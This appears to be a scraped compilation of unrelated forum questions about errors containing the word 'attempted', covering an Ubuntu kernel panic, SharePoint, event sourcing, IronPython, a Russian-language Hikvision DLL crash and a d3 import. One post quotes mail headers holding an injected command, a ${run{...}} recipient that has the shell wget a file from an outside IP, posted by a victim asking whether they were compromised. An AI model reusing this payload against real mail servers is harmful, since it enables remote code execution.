Kernel tainted and attempted to kill init ubuntu 16.04.06

This is the image of what loads on my screen when I try I try to boot up ubuntu. I don’t know how to fix this error. The Kernel is tainted, and I’m not able to fix anything at the moment because accessing any mode at all leads to this same problem. I have a live disk, but I don’t know ow to fix this problem with it. I know reinstalling would be a solution but is there any way to fix this without doing that? Please help. Thanks!

Unusual mail headers, evidence of an attempted attack. Have I been pwned?

Today I found an extremely unusual email in my catchall inbox, without subject sender or content.

In fear that someone had confirmed to have guessed my robust password, I looked at both email itself and mail logs.

Found evidence of an attempt to break the mail server

Received: 20 Received: 19 Received: 22 Received: 21 Received: 18 Received: 15 Received: 14 Received: 17 Received: 16 Received: 29 Received: 28 Received: 31 Received: 30 Received: 27 Received: 24 Received: 23 Received: 26 Received: 25 Received: 13 Received: 3 Received: 4 Received: 5 Received: 2 Received: from (localhost [])     by (Postfix) with ESMTP id 1FA141219E6     for <root+$  {run{x2Fbinx2Fsht-ctx22wgetx20213.227.155.101x2ftmpx2f52.143.140.67x22}}>; Wed, 19 Jun 2019 04:42:52 +0200 (CEST) Received: from (unknown [xx.xx.xx.xx])     by (Postfix) with SMTP     for <root+$  {run{x2Fbinx2Fsht-ctx22wgetx20YYY.YYY.YYY.YYYx2ftmpx2fYYY.YYY.YYY.YYYx22}}>; Wed, 19 Jun 2019 04:42:50 +0200 (CEST) Received: 1 Received: 10 Received: 11 Received: 12 Received: 9 Received: 6 Received: 7 Received: 8 Message-ID: <000701d52665$  301b5e30$  90521a90$  @Domain> MIME-Version: 1.0 Content-Type: text/plain;     charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Mailer: Microsoft Outlook 16.0 X-Original-To: root+$  {run{x2Fbinx2Fsht-ctx22wgetx20213.227.155.101x2ftmpx2f52.143.140.67x22}} Authentication-Results:;  X-DKIM-Authentication-Results: none Thread-Index: AQHpZJXbpRRTStcSuHvAzmVQv5xuOw== 

Someone tried to alter the mail destination in order to launch the following (encoded) command

x2Fbinx2Fsht-ctx22wgetx20[IP ADDR]x2ftmpx2f[IP ADDR]x22 /bin/sht-ct#wget [IP ADDR]/tmp/[IP ADDR]# 

Despite sht-ct is something I don’t recall, considering that I assume all attackers know I use postfix.

Apart from this attempt to run an executable, is it a recent known vulnerability? Other than looking carefully at top and crontab, how can I assess if I have been pwned by such attack?

I just rushed to update Postfix, but without knowledge of the vulnerability (and if it ever affects Postfix) I have little clue.

External Content Type Connection : illegal operation attempted on a registry key marked for deletion

when I add a connection to a sql server database in an external content type from Sharepoint Designer 2013 I get this error:

Retrieving the COM class factory for component with CLSID {BDEADDF26....} failed due to the following error: 800703fa illegal operation attempted on a registry key that has been marked for deletion 

I see that CLSID corresponds to

C:\Program Files\Common Files\Microsoft Shared\Web Server Extensions\ISAPI\OWSSVR.DLL

What’s wrong?

Is it a bad practice or uncommon to save “Invalid operation attempted” events in an Event Store when doing Event Sourcing?

I have a simple toy project that deals with Banking operations (cash deposit, withdrawals, wire transfers, open and close accounts).

I am wondering whether there is something wrong about saving invalid operations.

Say the command sent (eg. withdraw cash command) to the Event Sourced system is flawed, for example the bank account for withdrawing cash does not have enough funds or the account id is invalid / does not exist.

Does the result of a validation can be saved in the event store as well as some sort of Invalid Operation Attempted?

My point is that let’s imagine that those event can somehow have a business value (can make a projection and count how many invalid operations have happened and whatnot) so they can be saved and not just be part of the log?

Attempted “__set__” operation on ASN.1 schema object [migrated]

I’m currently using IronPython to execute Python code in my .NET project. The issue, however, is that I am receiving an error:

Attempted "__set__" operation on ASN.1 schema object 

This is the C# code:

ScriptEngine engine = Python.CreateEngine(); //var searchPaths = engine.GetSearchPaths(); ///searchPaths.Add(@"PATH_TO_FILE"); //searchPaths.Add(@"C:\Python27\Lib\site-packages"); ScriptSource source = engine.CreateScriptSourceFromFile("PATH_TO_FILE"); ScriptScope scope = engine.CreateScope(); scope.SetVariable("startAt", "2019-05-20"); source.Execute(scope); 

I created a basic script and tested again. The script executes fine, so it seems the issue is with the Python code. I can’t link the rest here, however, since a lot of it is API based and requires a lot of setup to get working.

import sys  def main(argv):     print("Done")  if __name__ == "__main__":     main(sys.argv[1:]) 

I was hoping if someone has run into this issue before. I researched online and didn’t find many matches.

Attempted to read or write protected memory при работе с dll

Всем добрый день. Пытаюсь написать .Net (c#) обёртку библиотеки для работы с камерами Hikvision. Hikvision выдают HCNetSDK.dll, написанную, вроде как, на си. При вызове метода из библиотеки выпадает необработанное исключение.

System.AccessViolationException: "Attempted to read or write protected memory. This is often an indication that other memory is corrupt." 

Вот пример использования на си из документации:

//--------------------------------------- // Initialize NET_DVR_Init(); //set connected time and reconnected time NET_DVR_SetConnectTime(2000, 1); NET_DVR_SetReconnect(10000, true);  //--------------------------------------- // Register device LONG lUserID;  //Login parameters, including IP address, user name, password and so on. NET_DVR_USER_LOGIN_INFO struLoginInfo = {0}; struLoginInfo.bUseAsynLogin = 0; //Synchronous login mode strcpy(struLoginInfo.sDeviceAddress, ""); //IP address struLoginInfo.wPort = 8000; //Service port strcpy(struLoginInfo.sUserName, "admin"); //User name strcpy(struLoginInfo.sPassword, "abcd1234"); //Password  //Device information, output parameter NET_DVR_DEVICEINFO_V40 struDeviceInfoV40 = {0};  lUserID = NET_DVR_Login_V40(&struLoginInfo, &struDeviceInfoV40); if (lUserID < 0) {     printf("Login failed, error code: %d\n", NET_DVR_GetLastError());     NET_DVR_Cleanup();     return; } 

Вот моя обёртка

public class HCNetSDK {     private const string origDllName = @"C:\docs\HCNetSDK.dll";      #region structs     [StructLayout(LayoutKind.Sequential)]     public struct NET_DVR_DEVICEINFO_V30     {         public Byte[]   sSerialNumber;//[48];         public Byte     byAlarmInPortNum;         public Byte     byAlarmOutPortNum;         public Byte     byDiskNum;         public Byte     byDVRType;         public Byte     byChanNum;         public Byte     byStartChan;         public Byte     byAudioChanNum;         public Byte     byIPChanNum;         public Byte     byZeroChanNum;         public Byte     byMainProto;         public Byte     bySubProto;         public Byte     bySupport;         public Byte     bySupport1;         public Byte     bySupport2;         public UInt16   wDevType;         public Byte     bySupport3;         public Byte     byMultiStreamProto;         public Byte     byStartDChan;         public Byte     byStartDTalkChan;         public Byte     byHighDChanNum;         public Byte     bySupport4;         public Byte     byVoiceInChanNum;         public Byte     byStartVoiceInChanNo;         public Byte     bySupport5;         public Byte     bySupport6;         public Byte     byMirrorChanNum;         public UInt16   wStartMirrorChanNo;         public Byte     bySupport7;         public Byte     byRes2;     }     #endregion        [DllImport(origDllName)]     public static extern Boolean NET_DVR_Init();      [DllImport(origDllName)]     public static extern Boolean NET_DVR_SetConnectTime(UInt32 dwWaitTime, UInt32 dwTryTimes);      [DllImport(origDllName)]     public static extern Boolean NET_DVR_SetReconnect(UInt32 dwInterval, Boolean bEnableRecon);      [DllImport(origDllName)]     public static extern Int32 NET_DVR_Login_V30(string sDVRIP, UInt16 wDVRPort, string sUserName, string sPassword, ref NET_DVR_DEVICEINFO_V30 DeviceInfo);      [DllImport(origDllName)]     public static extern UInt32 NET_DVR_GetLastError();      [DllImport(origDllName)]     public static extern Boolean NET_DVR_Cleanup(); } 

И использование:

static void Main(string[] args)     {          Camera.HCNetSDK.NET_DVR_Init();         Camera.HCNetSDK.NET_DVR_SetConnectTime(2000, 1);         Camera.HCNetSDK.NET_DVR_SetReconnect(10000, true);          Int32 lUserID;          Camera.HCNetSDK.NET_DVR_DEVICEINFO_V30 struDeviceInfoV30 = new Camera.HCNetSDK.NET_DVR_DEVICEINFO_V30();          lUserID = Camera.HCNetSDK.NET_DVR_Login_V30("ip", 8000, "login", "pass", ref struDeviceInfoV30);           if (lUserID < 0)         {             Console.WriteLine("Login failed, error code: {0}\n", Camera.HCNetSDK.NET_DVR_GetLastError());             Camera.HCNetSDK.NET_DVR_Cleanup();             Console.ReadKey();             return;         }          Console.WriteLine("The max number of analog channels: {0}\n", struDeviceInfoV30.byChanNum);          Console.WriteLine("The max number of IP channels: {0}\n", struDeviceInfoV30.byIPChanNum + struDeviceInfoV30.byHighDChanNum * 256);          Console.WriteLine("Done!");         Console.ReadKey();     } 

Вместо NET_DVR_DEVICEINFO_V40 я пока использую NET_DVR_DEVICEINFO_V30, потому что в V40 использована дополнительная структура, с call-back методами и эта функция возвращала ошибку о неправильных типах данных. Я решил сначала попробовать на более простом примере, а потом уже усложняться.

Вот необходимые описания из документации:

LONG NET_DVR_Login_V30(     char                       *sDVRIP,   WORD                       wDVRPort,     char                       *sUserName,   char                       *sPassword,   LPNET_DVR_DEVICEINFO_V30   lpDeviceInfo);  struct{     BYTE     sSerialNumber[SERIALNO_LEN];  BYTE     byAlarmInPortNum;   BYTE     byAlarmOutPortNum;            BYTE     byDiskNum;     BYTE     byDVRType;                    BYTE     byChanNum;     BYTE     byStartChan;                  BYTE     byAudioChanNum;   BYTE     byIPChanNum;                  BYTE     byZeroChanNum;     BYTE     byMainProto;                  BYTE     bySubProto;     BYTE     bySupport;                    BYTE     bySupport1;   BYTE     bySupport2;                   WORD     wDevType;     BYTE     bySupport3;                   BYTE     byMultiStreamProto;     BYTE     byStartDChan;                 BYTE     byStartDTalkChan;     BYTE     byHighDChanNum;               BYTE     bySupport4;   BYTE     byVoiceInChanNum;             BYTE     byStartVoiceInChanNo;   BYTE     bySupport5;                   BYTE     bySupport6;     BYTE     byMirrorChanNum;              WORD     wStartMirrorChanNo;     BYTE     bySupport7;                   BYTE     byRes2; }NET_DVR_DEVICEINFO_V30,*LPNET_DVR_DEVICEINFO_V30; 

Исключение возникает именно при попытке вызвать NET_DVR_Login_V30. Если я, например, изменю ip адрес, чтобы вызвать другую ошибку, то этот метод вернёт -1 и NET_DVR_GetLastError() любезно расскажет, что у меня ошибка номер 7, Failed to connect to the device. The device is off-line, or connection timeout caused by network.

Но если всё, вроде хорошо, то программа вылетает с необработанным исключением System.AccessViolationException: “Attempted to read or write protected memory. This is often an indication that other memory is corrupt.”

Гуглинг показал, что возможно дело в том, что либо моя dll (что вряд ли, потому что если так даже первая строчка бы не выполнилась), либо dll, на которую она ссылается скомпилирована под другой архитектурой. Я компилирую под x64. Попытался собрать под x86: при вызове первого же метода выбрасывает с исключением

System.BadImageFormatException: “Была сделана попытка загрузить программу, имеющую неверный формат. (Exception from HRESULT: 0x8007000B)”

О чем гугл говорит так же: попытка собрать программу не в той разрядности, что и используемая dll.

ЧТО ДЕЛАТЬ?! Хотя бы какое-то направление, как отловить исключение? Или может кто-то сталкивался с точно такой же проблемой? Мне скоро проект сдавать, а тут такая лажа

Attempted import error: ‘queue’ is not exported from ‘d3’ (imported as ‘d3’) with d3-queue

Having an issue getting an example of a Congressional Districts Map d3 example to work with React (example:

I keep getting the following:

Attempted import error: 'queue' is not exported from 'd3' (imported as 'd3').

However I have both d3 and d3-queue installed in my package json

My code:

import React from 'react'; import * as topojson from 'topojson'; import * as d3 from 'd3'; import * as d3queue from 'd3-queue';  export default class CongressionalDistricts extends React.Component {   state = {     usData: null,     usCongress: null   }    componentWillMount() {     d3.queue()       .defer(d3.json, "us.json")       .defer(d3.json, "us_congress_113.json")       .await((error, usData, usCongress) => {         this.setState({           usData,           usCongress         });       })   }